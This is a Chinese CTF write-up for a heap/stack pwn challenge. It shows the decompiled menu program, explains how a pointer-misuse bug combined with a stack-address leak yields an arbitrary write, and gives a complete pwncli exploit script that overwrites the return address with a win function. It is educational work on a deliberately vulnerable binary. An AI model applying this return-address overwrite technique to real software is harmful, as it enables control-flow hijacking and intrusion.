题目情况
In one of Bonnie's first missions, a helpless dog was injured by the laser guns during the fierce fight and was unable to move and escape the war scene. Bonnie took the dog and fled the battle, but not much he could do to help the poor dog. Some of the crew's doctors and engineers, made some mutations and added artificial parts to the dog, making it a living war machine under Bonnie's control. After the last fight, something hit the manufactured parts, making them malfunction and driving the dog berserk. Can you fix them and make the dog loyal under Bonnie's control again?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./.glibc/'
Stripped: No
逆向分析
菜单:
1. Analyze chipset 🔩
2. Modify hardware ⚒️
3. Check results ❓
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 num; // rax
void *buf[8]; // [rsp+8h] [rbp-48h] BYREF
unsigned __int64 canary; // [rsp+48h] [rbp-8h]
canary = __readfsqword(0x28u);
setup();
banner();
buf[0] = malloc(0x40uLL); // 申请内存
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printf(aInteractionWit, argv);
num = read_num(); // 可以输入很大的数
if ( num != 2 )
break;
printf("\n[*] Write some code: ");
argv = (const char **)buf[0];
read(0, buf[0], 0x20uLL); // 写入数据,无溢出
}
if ( num > 2 )
break;
if ( num != 1 )
goto LABEL_13;
argv = (const char **)buf;
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", buf);// 打印内容,栈地址
}
if ( num != 3 )
break;
buf[0] = *((void **)buf[0] + 1); // 修改buf指针的值
argv = (const char **)"\x1B[1;31m";
printf("%s\n[-] The beast went Berserk again!\n", "\x1B[1;31m");
}
if ( num == 'E' )
break;
LABEL_13:
argv = (const char **)"\x1B[1;31m";
printf("%s\n\n[-] Invalid option!\n", "\x1B[1;31m");
}
free(buf[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", "\x1B[1;31m");
return 0;
}
选项1:泄露buf变量地址,也就是栈地址
选项2:修改buf的内容,大小是0x20,无溢出
选项3:移动到下一个buf,正常来说是让指针指向buf数组的下一个成员,而不是buf的值的下一个成员
后门函数:
unsigned __int64 berserk_mode_off()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
fflush(_bss_start);
system("cat ./flag.txt");
return __readfsqword(0x28u) ^ v1;
}
利用分析
选项3导致让buf可以是任意值,配合选项2的写入操作,可以完成任意地址写
选项1提供了栈地址泄露,程序无PIE,都是可用地址
程序提供了后门函数
那就是泄露出栈地址,计算返回地址所在,然后写入后门函数即可
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
win = 0x400977
sla(b">> ",b"1")
ru(b": [")
leak = ru(b"]")[:-1]
leak = int(leak)
log_address("leak", leak)
retaddr = leak - 0x10
sla(b">> ",b"2")
sla(b": ",pack(retaddr)*2)
sla(b">> ",b"3")
sla(b">> ",b"2")
sla(b": ",pack(win))
ia()
总结
算是指针误用的bug吧